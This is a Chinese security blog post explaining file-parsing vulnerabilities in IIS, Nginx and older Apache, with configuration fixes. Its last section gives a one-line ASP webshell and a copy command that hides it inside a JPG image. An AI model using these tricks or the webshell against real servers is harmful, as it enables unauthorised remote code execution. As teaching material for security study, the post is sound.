MYZ's Blog.

文件解析漏洞

字数统计: 1.1k阅读时长: 4 min
2017/06/18 Share

IIS 6.0下:

文件:xxx.jpg

触发解析文件格式:xxx.asp;.jpg(xx随机字符,asp解析格式)
(这里的符号不一定是分号,也可以是:,\,/,* ,?, ‘’,<,>,|等字符,这样window会把分号后面的直接截取 然后剩下xxx.asp)

例如:一个漏洞文件它使用asp脚本写的,而将它的后缀改成.jpg是无法正常执行这个脚本的,但如果将后缀改为.asp;.jpg ,再访问 xxx.asp;.jpg,就可以执行。(而当前这个文件表现出来的格式还是jpg)

文件夹:xxx/xxx.jpg

触发解析文件夹地址:xxx.asp/xxx.jpg(xx随机字符,asp解析格式)

解释:将含有asp脚本文件命名为xxx.jpg 将它放在一个命名为xxx.asp的文件夹下面,以xxx.asp/xxx.jpg访问这个文件,能执行asp脚本

IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx

IIS7.X

g正常地址:www.xxx.com/loo.jpg
存在解析漏洞:www.xxx.com/logo.jpg/xx.php(这里只能测试php)
这个呢就是看如果在这个网站后面加上xx.php后,能不能将logo.jpg这个图片解析成php文件(乱码).若能,则存在这个漏洞.反之不行.

Nginx解析漏洞

a.一个是对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
b.低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37
对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞,所以其实跟Nginx自身是无关的。
漏洞原理:
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,然后如果开启了fix_pathinfo这个选项那么就会触发上面这个解析漏洞.

修复方案:
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:

1
2
3
  if ( $fastcgi_script_name ~ ..*/.*php ) {
  return 403;
  }

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

Apache低版本

先判断后缀是否识别,不识别向上解析
Xxx.php.dasdsad 利用场景相同
例如:后面的.dasdsad后缀识别不了,那就向上识别.php,然后就把他它当做php文件来执行

其余配置问题导致漏洞

1.如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
2.如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

修复方案:
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

1
2
3
4
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>

一句话木马图片制作:

就是将一句话的后门代码嵌入到图片的代码里。

方法一:

利用copy命令
详细操作为:
1.随便找一张图片 名字改成1.jpg(名字改为1.jpg只是为了方便记忆和输入,文件的后缀随意,只要是图片的格式就可以了)
2.<%eval request(“keio”)%> 存为1.asp(就是一句话木马)
3.

1
copy 1.jpg /b + 1.asp /a 2.jpg      存为1.bat文件

解释一下代码:

复制当前目录下的 1.jpg 图片和当前目录下的 1.asp 文件并以ASCII代码的方式合并为 2.jpg 图片
运行 1.bat 就会出现一个图片 2.jpg
而这个2.jpg就是已经做好的木马了

方法二:(十六进制)

通过16进制,打开图片,将后台代码转换成16进制格式,粘贴到图片最底部。然后保存
直接嵌入进图片里,图片就无法正常显示了。

参考链接:
https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/

原文作者:MYZ

原文链接:https://myzxcg.github.io/20170618.html

发表日期:June 18th 2017, 1:01:23 pm

更新日期:June 15th 2018, 11:32:24 am

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. IIS 6.0下:
    1. 1.1. 文件:xxx.jpg
    2. 1.2. 文件夹:xxx/xxx.jpg
  2. 2. IIS7.X
  3. 3. Nginx解析漏洞
  4. 4. Apache低版本
  5. 5. 其余配置问题导致漏洞
  6. 6. 一句话木马图片制作:
    1. 6.0.1. 方法一:
    2. 6.0.2. 方法二:(十六进制)